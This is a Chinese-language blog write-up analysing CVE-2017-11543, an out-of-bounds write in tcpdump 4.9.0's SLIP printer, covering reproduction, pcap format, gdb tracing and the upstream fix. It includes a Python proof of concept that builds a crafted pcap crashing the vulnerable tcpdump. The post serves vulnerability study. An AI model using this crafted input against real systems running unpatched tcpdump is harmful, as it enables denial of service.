最近觉得打比赛打多了,想分析一些实际的漏洞,于是挑了一个易上手的和 tcpdump 有关的 CVE-2017-11543 来分析,参考资料都放在最后了。

Overview

漏洞软件 tcpdump 版本:4.9.0
1
2
3
4
5
6
7
8
- CVE-2017-11543 (arbitrary code execution)

An out-of-bounds write vulnerability was discovered in tcpdump's
handling of LINKTYPE_SLIP in the sliplink_print function in print-sl.c.
An attacker could craft a malicious pcap file or send specially crafted
packets to the network that would cause tcpdump to crash or possibly
execute arbitrary code when attempting to print a summary of the packet
data.

这是一个在 4.9.0 版本的 tcpdump 中出现的栈溢出漏洞,漏洞出现在 sliplink_print() 函数(print-sl.c)中,效果是可以造成 crash 或者 arbitrary code execution

这个漏洞是通过 AFL 发现的。

Background

tcpdump 是一个运行在 CLI 下的嗅探工具,它允许用户拦截和显示发送或收到过网络连接到该计算机的 TCP/IP 和其他数据包。用户必须拥有 超级用户权限 方可使用 tcpdump。和 wireshark 的语法相同,在服务器端多使用 tcpdump,在客户端多使用 wireshark。

其基本用法有:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
~ tldr tcpdump

  tcpdump

  Dump traffic on a network.

  - List available network interfaces:
    tcpdump -D

  - Capture the traffic of a specific interface:
    tcpdump -i eth0

  - Capture all TCP traffic showing contents (ASCII) in console:
    tcpdump -A tcp

  - Capture the traffic from or to a host:
    tcpdump host www.example.com

  - Capture the traffic from a specific interface, source, destination and destination port:
    tcpdump -i eth0 src 192.168.1.1 and dst 192.168.1.2 and dst port 80

  - Capture the traffic of a network:
    tcpdump net 192.168.1.0/24

  - Capture all traffic except traffic over port 22 and save to a dump file:
    tcpdump -w dumpfile.pcap not port 22

  - Read from a given dump file:
    tcpdump -r dumpfile.pcap

漏洞复现

环境 docker ubuntu:16.04
编辑器 vim ctags

主要参考了 CTF-all-in-one,细节部分做了一些优化。

install tcpdump==4.9.0

首先安装 dev 版本的 libpcap:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# apt-get update
# apt-get install libpcap-dev
# dpkg -l libpcap-dev

root@7fe409e06b06:~# dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version      Architecture Description
+++-==============-============-============-=================================
ii  libpcap-dev    1.7.4-2      all          development library for libpcap (

编译 tcpdump(v 4.9.0)

1
2
3
4
# apt-get install wget gcc make vim python gdb git sudo
# wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
# tar xzf ./tcpdump-4.9.0.tar.gz 
# ./configure

执行 configure 会生成 Makefile。 为了后边调试的方便,修改一下 Makefile,CFLAGS 改为 -g -O0 -no-pie

1
CFLAGS = -g -O0 -no-pie

然后 make 即可在源码目录下生成二进制文件。

1
2
3
4
5
# make

root@7fe409e06b06:~/tcpdump-tcpdump-4.9.0# ./tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4

Segment Fault

使用如下的 poc 即可出发漏洞产生 Segment Fault

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@7fe409e06b06:~# cat poc.py 
import os

def sigsegv():
    buf  = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
    buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
    buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
    buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"

    with open("slip-bad-direction.pcap", "wb") as f:
        f.write(buf)

    cmd = './tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap'
    os.system(cmd)

if __name__ == "__main__":
    sigsegv()
root@7fe409e06b06:~# python poc.py 
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)
Segmentation fault (core dumped)

root@7fe409e06b06:~# file slip-bad-direction.pcap 
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)

如此便触发了栈溢出漏洞引发了 crash。

或者可以按照 CTF-all-in-one 的做法,修改 Makefile,gcc 的参数添加 -fsanitize=address,以开启内存检测功能。

Address Sanitizer 是自 gcc 4.8 以后添加的一个检测内存访问错误的工具,由 google 开发。

漏洞分析

pcap 文件格式

首先我们需要对 pcap 的文件格式有一个了解。

主要参考了 https://www.zybuluo.com/natsumi/note/80231

总体结构是 global header 后跟着几条捕获数据包的记录:

其中 global header 的结构具体如下(Source Code),共 24 个字节。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
typedef struct pcap_hdr_s
{
  /*! Magic number - 0xa1b2c3d4 means no swap needed,
   *  0xd4c3b2a1 means we'll need to swap.
   */
  uint32_t magic_number;

  /*! Major version number (currently 2) */
  uint16_t version_major;

  /*! Minor version number (4 + ) */
  uint16_t version_minor;

  /*! GMT to local-time correction, in s */
  int32_t thiszone;

  /*! Accuracy of timestamps. In practice, always 0 */
  uint32_t sigfigs;

  /*! Snapshot length (typically 65535 + but might be limited) */
  uint32_t snaplen;


  /* These are network types - equivalent to WTAP_ENCAP_XXX in
   *  libpcap.c  . We only care about a few ..
   */

#define PCAP_NETWORK_TYPE_NONE 0
#define PCAP_NETWORK_TYPE_ETHERNET 1

  /*! Network type: Ethernet = 1 .. */
  uint32_t network;

} pcap_hdr_t;

magic_number:

4 bytes,用来识别文件格式本身和字节顺序。分三种情况:

  1. 0xa1b2c3d4: 按照程序字节序的方式写入。
  2. 0xd4c3b2a1: 表示后边所有的字段都要进行字节序反转。
  3. 0xa1b23c4d: 文件为纳秒精度。

version_major, version_minor:

各 2 bytes,文件格式的版本号,目前最新的版本为 2.4。

即常见的 pcap 包中,version_major 为 0x0002,version_minor 为 0x0004。

thiszone :

4 bytes,GMT (UTC) 和后面 packet header 的时间戳所用的时区的时间差(单位:秒)。 实际上,时间戳用的一般都是 GMT 时间, 所以 thiszone 一般都设为 0

sigfigs :

4 bytes,时间戳的精度, 一般也设置为0

snaplen :

4 bytes,每个数据包的最大存储长度(该值设置所抓获的数据包的最大长度,如果所有数据包都要抓获,将该值设置为 65535; 例如想获取数据包的前 64 字节,可将该值设置为 64)

network :

4 bytes,链路类型,例如为 1 时代表为以太网,8 时代表为 SLIP,完整的对应关系 戳这


我们看一下生成 pcap 的 global_header,这里用的是 010editor 的 pcap template。

Name Value Start Size
struct PCAPHEADER header 0h 18h
uint32 magic_number A1B2C3D4h 0h 4h
uint16 version_major 2 4h 2h
uint16 version_minor 4 6h 2h
int32 thiszone 0 8h 4h
uint32 sigfigs 0 Ch 4h
uint32 snaplen 40000h 10h 4h
uint32 network 8 14h 4h

其中 network == 8,即链路类型为 SLIP,

Record (Packet) Header

Packet Header 的源码如下(Source Code),共 16 个字节。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
typedef struct pcaprec_hdr_s
{
  /*! Timestamp seconds */
  uint32_t ts_sec;

  /*! Timetamp uS */
  uint32_t ts_usec;

  /*! Number of octets saved after the header */
  uint32_t incl_len;

  /*! Original packet length */
  uint32_t orig_len;

} pcaprec_hdr_t;

ts_sec :

4 bytes,时间戳高位,精确到 seconds(值是自从 January 1, 1970 00:00:00 GMT以来的秒数来记),其实就是 *nix 的time_t,可以用 ANSI C time.h 中的 time() 函数来获取这个值。如果时间戳不是基于 GMT 的,需调整 global header 中的 thiszone

ts_usec :

4 bytes,时间戳低位。一般的 pcap 文件中,精确到 microseconds(数据包被捕获时候的微秒数,是自 ts-sec 的偏移量) 在纳秒精度的文件中,这个字段是数据包被捕获时候的纳秒数 注意:这个字段的值不能大于 1 秒

incl_len :

4 bytes,捕获且存储在 PCAP 文件中的数据包长度 其实就是 min[orig_len, snaplen]

orig_len :

4 bytes,这个数据包在网络中的原始长度。


poc 中对应的数据为

Name Value Start Size
time_t ts_sec 02/16/2017 14:23:50 18h 4h
uint32 ts_usec 7BDF8h 1Ch 4h
uint32 incl_len 27h 20h 4h
uint32 orig_len E7E7E736h 24h 4h

Packet Data

Packet(链路层的数据帧) 的具体内容,其长度即为 incl_len。

链路层类型为 08,即 SLIP。SLIP 包的结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
+-------------------------+
|        Direction        |
|        (1 Octet)        |
+-------------------------+
|       Packet type       |
|        (1 Octet)        |
+-------------------------+
| Compression information |
|       (14 Octets)       |
+-------------------------+
|         Payload         |
.                         .
.                         .
.                         .

则在此 poc 中,direction 即为 0xe7

代码定位

直接上 gdb,编译时加了 -g 参数,很容易就能定位到 crash 的源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root@7fe409e06b06:~# gdb ./tcpdump-tcpdump-4.9.0/tcpdump -q
pwndbg: loaded 164 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./tcpdump-tcpdump-4.9.0/tcpdump...done.
pwndbg> r -e -r ./slip-bad-direction.pcap 
Starting program: /root/tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)

Program received signal SIGSEGV, Segmentation fault.
0x00000000004affb9 in compressed_sl_print (ndo=0x7fffffffd420, chdr=0x7ffff7fad011 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886, dir=231) at ./print-sl.c:253
253		lastlen[dir][lastconn] = length - (hlen << 2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0xe7e7
 RBX  0x7ffff7fad019 ◂— 0xe7e7e7e7e7e7e7e7
 RCX  0xe7
 RDX  0xe7e7e70a
 RDI  0x7ffff7b90620 (_IO_2_1_stdout_) ◂— 0xfbad2a84
 RSI  0x0
 R8   0x0
 R9   0x6
 R10  0x0
 R11  0xfffffffffffffffe
 R12  0x7
 R13  0xe7e7e726
 R14  0xffffffff
 R15  0x4062df (print_packet) ◂— push   rbp
 RBP  0x7fffffffd170 —▸ 0x7fffffffd1c0 —▸ 0x7fffffffd210 —▸ 0x7fffffffd250 ◂— 0x7fffffffd280
 RSP  0x7fffffffd140 ◂— 0xe7e7e726000000e7
 RIP  0x4affb9 (compressed_sl_print+534) ◂— mov    dword ptr [rax*4 + 0x877380], edx
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
 ► 0x4affb9 <compressed_sl_print+534>    mov    dword ptr [rax*4 + 0x877380], edx
   0x4affc0 <compressed_sl_print+541>    mov    rax, qword ptr [rbp - 0x18]
   0x4affc4 <compressed_sl_print+545>    mov    r8, qword ptr [rax + 0x98]
   0x4affcb <compressed_sl_print+552>    mov    rdx, rbx
   0x4affce <compressed_sl_print+555>    mov    rax, qword ptr [rbp - 0x20]
   0x4affd2 <compressed_sl_print+559>    mov    rcx, rdx
   0x4affd5 <compressed_sl_print+562>    sub    rcx, rax
   0x4affd8 <compressed_sl_print+565>    mov    eax, dword ptr [rip + 0x281c12] <0x731bf0>
   0x4affde <compressed_sl_print+571>    mov    edx, eax
   0x4affe0 <compressed_sl_print+573>    mov    eax, dword ptr [rbp - 0x30]
   0x4affe3 <compressed_sl_print+576>    cdqe   
────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────
   248 	 * 'cp - chdr' is the length of the compressed header.
   249 	 * 'length - hlen' is the amount of data in the packet.
   250 	 */
   251 	hlen = IP_HL(ip);
   252 	hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);253 	lastlen[dir][lastconn] = length - (hlen << 2);
   254 	ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
   255 }
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffd140 ◂— 0xe7e7e726000000e7
01:0008│      0x7fffffffd148 —▸ 0x7ffff7fad020 ◂— 0xcae7e7e7e7e7e7
02:0010│      0x7fffffffd150 —▸ 0x7ffff7fad011 ◂— 0xe7e7e7e7e7e7e7e7
03:0018│      0x7fffffffd158 —▸ 0x7fffffffd420 ◂— 0x100000000
04:0020│      0x7fffffffd160 —▸ 0x7ffff7fad010 ◂— 0xe7e7e7e7e7e7e7e7
05:0028│      0x7fffffffd168 —▸ 0x7ffff7fad020 ◂— 0xcae7e7e7e7e7e7
06:0030│ rbp  0x7fffffffd170 —▸ 0x7fffffffd1c0 —▸ 0x7fffffffd210 —▸ 0x7fffffffd250 ◂— 0x7fffffffd280
07:0038│      0x7fffffffd178 —▸ 0x4afc58 (sliplink_print+435) ◂— mov    rax, qword ptr [rbp - 0x38]
Program received signal SIGSEGV (fault address 0x8b131c)
pwndbg> 

很容易看出,在 print-sl.c 的 253 行发生了地址不可读,此时的代码为 ► 253 lastlen[dir][lastconn] = length - (hlen << 2);

看一下此时各个变量的值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> p /x dir
$1 = 0xe7
pwndbg> p /x lastconn
$2 = 0xe7
pwndbg> p /x length
$3 = 0xe7e7e726
pwndbg> p /x hlen
$4 = 0x7
pwndbg> p /x lastlen
$5 = {{0x0 <repeats 256 times>}, {0x0 <repeats 256 times>}}
pwndbg> p  &lastlen
$6 = (u_int (*)[2][256]) 0x877380 <lastlen>
pwndbg> ptype dir
type = int
pwndbg> bt
#0  0x00000000004affb9 in compressed_sl_print (ndo=0x7fffffffd420, chdr=0x7ffff7fad011 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886, dir=231) at ./print-sl.c:253
#1  0x00000000004afc58 in sliplink_print (ndo=0x7fffffffd420, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886) at ./print-sl.c:166
#2  0x00000000004af97e in sl_if_print (ndo=0x7fffffffd420, h=0x7fffffffd2b0, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>...) at ./print-sl.c:77
#3  0x000000000040a57a in pretty_print_packet (ndo=0x7fffffffd420, h=0x7fffffffd2b0, sp=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., packets_captured=1) at ./print.c:339
#4  0x000000000040632b in print_packet (user=0x7fffffffd420 "", h=0x7fffffffd2b0, sp=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>...) at ./tcpdump.c:2501
#5  0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#6  0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#7  0x000000000040582e in main (argc=4, argv=0x7fffffffe6f8) at ./tcpdump.c:2004
#8  0x00007ffff77eb830 in __libc_start_main (main=0x40414f <main>, argc=4, argv=0x7fffffffe6f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6e8) at ../csu/libc-start.c:291
#9  0x0000000000402b79 in _start ()

这里用的 gdb plugin 是我自己修改过的 Pwngdb,就分析这个 CVE 而言,可以使用更轻量的 peda

如果不修改 CFLAGS 中的优化等级为 -O0, 在打印变量值时会显示 <value optimized out>,原因可以看 Reference

计算一下很容易发现此时发生地址不可读是因为 dir == 0xe7,我们找到对应的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
   205	static void
   206	compressed_sl_print(netdissect_options *ndo,
   207	                    const u_char *chdr, const struct ip *ip,
   208	                    u_int length, int dir)
   209	{
			......
			......
   245	
   246		/*
   247		 * 'hlen' is the length of the uncompressed TCP/IP header (in words).
   248		 * 'cp - chdr' is the length of the compressed header.
   249		 * 'length - hlen' is the amount of data in the packet.
   250		 */
   251		hlen = IP_HL(ip);
   252		hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
   253		lastlen[dir][lastconn] = length - (hlen << 2);
   254		ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
   255	}

可以看出 dir 是 compressed_sl_print() 的参数,而根据调试时的 backtrace,compressed_sl_print() 调用时传递的 dir 即为 0xe7(231),再继续找这个参数是何时传递的。

根据 backtrace,可以看出是在 sliplink_print() 中调用了 compressed_sl_print() 函数,查看对应的代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
   125	static void
   126	sliplink_print(netdissect_options *ndo,
   127	               register const u_char *p, register const struct ip *ip,
   128	               register u_int length)
   129	{
   130		int dir;
   131		u_int hlen;
   132	
   133		dir = p[SLX_DIR]; // bug here!!
   134		ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
   135	
   136		if (ndo->ndo_nflag) {
   137			/* XXX just dump the header */
   138			register int i;
   139	
   140			for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
   141				ND_PRINT((ndo, "%02x.", p[i]));
   142			ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
   143			return;
   144		}
   145		switch (p[SLX_CHDR] & 0xf0) {
   146	
   147		case TYPE_IP:
   148			ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
   149			break;
   150	
   151		case TYPE_UNCOMPRESSED_TCP:
   152			/*
   153			 * The connection id is stored in the IP protocol field.
   154			 * Get it from the link layer since sl_uncompress_tcp()
   155			 * has restored the IP header copy to IPPROTO_TCP.
   156			 */
   157			lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
   158			hlen = IP_HL(ip);
   159			hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
   160			lastlen[dir][lastconn] = length - (hlen << 2);
   161			ND_PRINT((ndo, "utcp %d: ", lastconn));
   162			break;
   163	
   164		default:
   165			if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
   166				compressed_sl_print(ndo, &p[SLX_CHDR], ip,
   167				    length, dir);
   168				ND_PRINT((ndo, ": "));
   169			} else
   170				ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
   171		}
   172	}

可以看出,dir 是在 133 行确定的,具体的代码为

1
   133		dir = p[SLX_DIR]; 

其中,p 为 sliplink_print() 的参数,且在此时 p 为 {0xe7, 0xe7, 0xe7, ...., 0xe7}

1
#1  0x00000000004afc58 in sliplink_print (ndo=0x7fffffffd420, p=0x7ffff7fad010 '\347' <repeats 14 times>, <incomplete sequence \347>..., ip=0x7ffff7fad020, length=3890734886) at ./print-sl.c:166

SLX_DIR 为一个宏定义,其值为 0

1
    43	#define SLX_DIR 0

即 dir = 0xe7

而漏洞就出在接下来的 134 行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
   134		ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

   netdissect.h:327
   #define ND_PRINT(STUFF) (*ndo->ndo_printf)STUFF

   netdissect.h:148
   struct netdissect_options {
	   ......
	
	  /* pointer to function to do regular output */
	  int  (*ndo_printf)(netdissect_options *,
			     const char *fmt, ...)
	  ......
	};

一串代码读下来,结果是通过一个函数指针把 dir 写到了 ndo 这个结构体里,而在判断 dir 类型时出了问题

1
2
3
4
5
dir == SLIPDIR_IN ? "I " : "O "

netdissect.h:47
#define SLIPDIR_IN 0
#define SLIPDIR_OUT 1

dir(0xe7) 与 SLIPDIR_IN(0) 比较,不相等,于是就把 dir 当成 SLIPDIR_OUT == 1 来处理了。但此时 dir 实际上是 0xe7。

最终执行到 253 lastlen[dir][lastconn] = length - (hlen << 2); 时,lastlen[dir][lastconn] 访问了不合法的地址,程序 crash。

漏洞修复

由上述分析,只需要保证 dir 为 0 或 1 或者其他合法值即可(后来查了一下,分别本机接受的包和本机发送的包)。

官方修复方案如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
diff --git a/print-sl.c b/print-sl.c
index 3fd7e898..a02077b3 100644
--- a/print-sl.c
+++ b/print-sl.c
@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
        u_int hlen;
 
        dir = p[SLX_DIR];
-       ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+       switch (dir) {
 
+       case SLIPDIR_IN:
+               ND_PRINT((ndo, "I "));
+               break;
+
+       case SLIPDIR_OUT:
+               ND_PRINT((ndo, "O "));
+               break;
+
+       default:
+               ND_PRINT((ndo, "Invalid direction %d ", dir));
+               dir = -1;
+               break;
+       }
	......

可以看出增加了一个 switch 判断,不合法的全都把 dir 设置为了 -1。

对应的 commit 为 CVE-2017-11543/Make sure the SLIP direction octet is valid.

pwn 掉 tcpdump?

网上能搜索到的漏洞分析大多数都止步于此,但漏洞描述中说,控制合理的话可以实现 arbitrary code execution,

> 未完待续

想了好几天,只想到通过数组越界写改 got,但又没有找能 leak 的地方,也许是因为打 CTF 太局限对现实漏洞的认识不够吧,如果有大佬能做到代码执行,请务必指教。

Reference and thanks to

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/7.1.1_tcpdump_2017-11543.md

https://vuldb.com/?id.104408

https://nvd.nist.gov/vuln/detail/CVE-2017-11543

https://github.com/google/sanitizers/wiki/AddressSanitizer

https://wizardforcel.gitbooks.io/100-gcc-tips/content/address-sanitizer.html

https://www.zybuluo.com/natsumi/note/80231

https://zh.wikipedia.org/wiki/串列線路網際網路協定

https://tools.ietf.org/html/rfc1055.html

https://stackoverflow.com/questions/5497855/what-does-value-optimized-out-mean-in-gdb